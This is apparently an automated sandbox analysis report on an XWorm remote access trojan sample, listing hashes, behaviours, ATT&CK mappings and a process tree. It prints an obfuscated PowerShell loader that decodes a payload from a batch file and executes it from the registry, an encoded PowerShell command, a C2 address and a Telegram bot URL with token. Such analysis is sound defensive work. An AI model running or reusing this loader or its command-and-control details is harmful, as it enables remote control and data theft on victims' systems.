xworm | df2ffecdfecc6eec6cbb8f28d193257c99cf22a9204a95f2a6b7d4ca3504276d

General

Target

df2ffecdfecc6eec6cbb8f28d193257c99cf22a9204a95f2a6b7d4ca3504276d.ps1
Size

46B
MD5

add1b58cd122ee7a1807d8634099b1f2
SHA1

0b9e55fdf1906c81f367afbcb8efac8a526e089c
SHA256

df2ffecdfecc6eec6cbb8f28d193257c99cf22a9204a95f2a6b7d4ca3504276d
SHA512

412a24c206a1eedb8b15bad330306bbb8f5f23df66a53da231aca836f8ec684729f655d05c2c3f94f5f101ee7a2a74b8da6f7f2f01772ffe0dea8182d5a26a07

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

193.32.177.63:6000

Mutex

wwD0bshguVCRSd3k

Attributes

install_file
USB.exe
telegram
https://api.telegram.org/bot7238632531:AAGCQZAh03hAwOcuP9HUeoAP5AQV0o0tp24/sendMessage?chat_id=8080837794

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/564-56-0x000002849B4E0000-0x000002849B4F0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 14 IoCs

flow	pid	Process
8	3564	powershell.exe
32	2824	powershell.exe
39	564	powershell.exe
49	564	powershell.exe
64	564	powershell.exe
65	564	powershell.exe
66	564	powershell.exe
70	564	powershell.exe
71	564	powershell.exe
76	564	powershell.exe
77	564	powershell.exe
78	564	powershell.exe
79	564	powershell.exe
80	564	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3564	powershell.exe
564	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3564	powershell.exe
3564	powershell.exe
2824	powershell.exe
2824	powershell.exe
564	powershell.exe
564	powershell.exe
564	powershell.exe
564	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	564	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
564	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3564 wrote to memory of 2824	3564	powershell.exe	91
PID 3564 wrote to memory of 2824	3564	powershell.exe	91
PID 2824 wrote to memory of 4944	2824	powershell.exe	102
PID 2824 wrote to memory of 4944	2824	powershell.exe	102
PID 4944 wrote to memory of 564	4944	cmd.exe	104
PID 4944 wrote to memory of 564	4944	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\df2ffecdfecc6eec6cbb8f28d193257c99cf22a9204a95f2a6b7d4ca3504276d.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec aQBOAFYAbwBLAGUALQBlAFgAcABSAGUAUwBzAEkAbwBuACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFwAUwBvAGYAdAB3AGEAcgBlAFwAXABNAGkAYwByAG8AcwBvAGYAdABcAFwAVwBpAG4AZABvAHcAcwAgAFMAZQBhAHIAYwBoACcAIAAtAE4AYQBtAGUAIAAnACQAcABoAGEAbgB0AG8AbQAtAGYAcgBaAFoAZgAnACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARQB4AHAAYQBuAGQAUAByAG8AcABlAHIAdAB5ACAAYAAkAHAAaABhAG4AdABvAG0ALQBmAHIAWgBaAGYAKQA=
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\winupdate.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4944
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:tMHryVWCxy;$path = $path.Trim();try {$_1 = Get-Content -Path $path.Substring(1, $path.Length - 2) -ErrorAction Stop;} catch {$_1 = Get-Content -Path $path}$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name '$phantom-frZZfx' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
56c43715e0e7fa58012d8a5769d8d568

SHA1
4370ca3436f2e3a95b47a728503a2c22a5a5fa39

SHA256
8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5

SHA512
b8da8defb2080d04babc3e676cc9686c7f71b15eeca0e738ca75c9fb7af968eba8d3daff5bc2e31d471e26568df2f319ec1f4b00bf43ffb60460e5df787947ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4d40dcdd10b5b2e256c230c935fa3b41

SHA1
49f6b274954b059eac8ae5f1dd933c2414b5887e

SHA256
3f3507966ae5a545243d08af7de6918599a345344058bb688092a332870c175d

SHA512
255a0e00927876a082cf323ec1ca6fd08f8618b6067d943f31470f364b4eaba560ec963657e0c489dbc1779ab38706fb0f7546728f68f80bccfd974f6fd378ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l3a4l0it.eph.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\winupdate.bat

Filesize
4.3MB

MD5
c827b11ddab8f04af88ad75cf10ce5c3

SHA1
8ccd314ee72a96772cc6040e9c626332a18ff2d0

SHA256
e3f141aeea820a23216db5919e80573b1e5675e98a3c02a67d2e7b576ef269b5

SHA512
73bbdfe7555c49893674339b967f6515471ae83043d9c5ca9772828f0877c2827cace3c24bae99da393864e35dc91268ab7fc5a969fb65cb10a3da23dceb6f32

Download Submit
memory/564-56-0x000002849B4E0000-0x000002849B4F0000-memory.dmp

Filesize
64KB

Download
memory/564-55-0x00007FFFAEE60000-0x00007FFFAEF1E000-memory.dmp

Filesize
760KB

Download
memory/564-54-0x00007FFFB0E10000-0x00007FFFB1005000-memory.dmp

Filesize
2.0MB

Download
memory/564-53-0x000002849B040000-0x000002849B17C000-memory.dmp

Filesize
1.2MB

Download
memory/564-52-0x000002849A2F0000-0x000002849A2F8000-memory.dmp

Filesize
32KB

Download
memory/2824-31-0x0000019B79010000-0x0000019B79018000-memory.dmp

Filesize
32KB

Download
memory/2824-50-0x00007FFF92D60000-0x00007FFF93821000-memory.dmp

Filesize
10.8MB

Download
memory/2824-19-0x00007FFF92D60000-0x00007FFF93821000-memory.dmp

Filesize
10.8MB

Download
memory/2824-51-0x00007FFF92D60000-0x00007FFF93821000-memory.dmp

Filesize
10.8MB

Download
memory/2824-32-0x0000019B79A50000-0x0000019B79B82000-memory.dmp

Filesize
1.2MB

Download
memory/2824-33-0x0000019B79B80000-0x0000019B79BD8000-memory.dmp

Filesize
352KB

Download
memory/2824-35-0x00007FFFAEE60000-0x00007FFFAEF1E000-memory.dmp

Filesize
760KB

Download
memory/2824-34-0x00007FFFB0E10000-0x00007FFFB1005000-memory.dmp

Filesize
2.0MB

Download
memory/2824-36-0x0000019B79BF0000-0x0000019B79BF6000-memory.dmp

Filesize
24KB

Download
memory/2824-20-0x00007FFF92D60000-0x00007FFF93821000-memory.dmp

Filesize
10.8MB

Download
memory/3564-18-0x00007FFF92D60000-0x00007FFF93821000-memory.dmp

Filesize
10.8MB

Download
memory/3564-0-0x00007FFF92D63000-0x00007FFF92D65000-memory.dmp

Filesize
8KB

Download
memory/3564-16-0x000002B167370000-0x000002B16758C000-memory.dmp

Filesize
2.1MB

Download
memory/3564-13-0x000002B167C30000-0x000002B167DF2000-memory.dmp

Filesize
1.8MB

Download
memory/3564-12-0x00007FFF92D60000-0x00007FFF93821000-memory.dmp

Filesize
10.8MB

Download
memory/3564-11-0x00007FFF92D60000-0x00007FFF93821000-memory.dmp

Filesize
10.8MB

Download
memory/3564-10-0x000002B1676C0000-0x000002B1676E2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing